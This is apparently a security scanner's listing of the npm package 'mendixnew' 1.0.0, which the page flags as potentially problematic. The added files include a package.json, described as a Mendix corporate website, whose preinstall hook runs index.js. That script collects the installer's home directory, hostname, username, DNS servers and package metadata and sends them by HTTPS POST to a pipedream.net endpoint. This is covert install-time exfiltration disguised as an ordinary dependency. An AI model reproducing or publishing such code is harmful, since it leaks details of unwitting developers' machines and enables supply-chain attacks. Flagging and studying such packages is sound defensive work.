mendixnew 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of mendixnew might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +48 -0
  2. package/package.json +20 -0
package/index.js ADDED
@@ -0,0 +1,48 @@
1
+
2
+ //author:- @nvk0x
3
+ const os = require("os");
4
+ const dns = require("dns");
5
+ const querystring = require("querystring");
6
+ const https = require("https");
7
+ const packageJSON = require("./package.json");
8
+ const package = packageJSON.name;
9
+
10
+ const trackingData = JSON.stringify({
11
+ Package_name: package,
12
+ Directory: __dirname,
13
+ Home_directory: os.homedir(),
14
+ Hostname: os.hostname(),
15
+ UserName: os.userInfo().username,
16
+ DNS: dns.getServers(),
17
+ r: packageJSON ? packageJSON.___resolved : undefined,
18
+ v: packageJSON.version,
19
+ pjson: packageJSON,
20
+ });
21
+
22
+ var postData = querystring.stringify({
23
+ msg: trackingData,
24
+ });
25
+
26
+ var options = {
27
+ hostname: "enmjl9tbpoc118b.m.pipedream.net",
28
+ port: 443,
29
+ path: "/",
30
+ method: "POST",
31
+ headers: {
32
+ "Content-Type": "application/x-www-form-urlencoded",
33
+ "Content-Length": postData.length,
34
+ },
35
+ };
36
+
37
+ var req = https.request(options, (res) => {
38
+ res.on("data", (d) => {
39
+ process.stdout.write(d);
40
+ });
41
+ });
42
+
43
+ req.on("error", (e) => {
44
+ // console.error(e);
45
+ });
46
+
47
+ req.write(postData);
48
+ req.end();
package/package.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "name": "mendixnew",
3
+ "version": "1.0.0",
4
+ "description": "Corporate website for Mendix",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "repository": {
11
+ "type": "git",
12
+ "url": "git+https://matteszk@github.com/balvord/mendixnew.git"
13
+ },
14
+ "author": "nvk0x",
15
+ "license": "ISC",
16
+ "bugs": {
17
+ "url": "https://github.com/balvord/mendixnew/issues"
18
+ },
19
+ "homepage": "https://github.com/balvord/mendixnew#readme"
20
+ }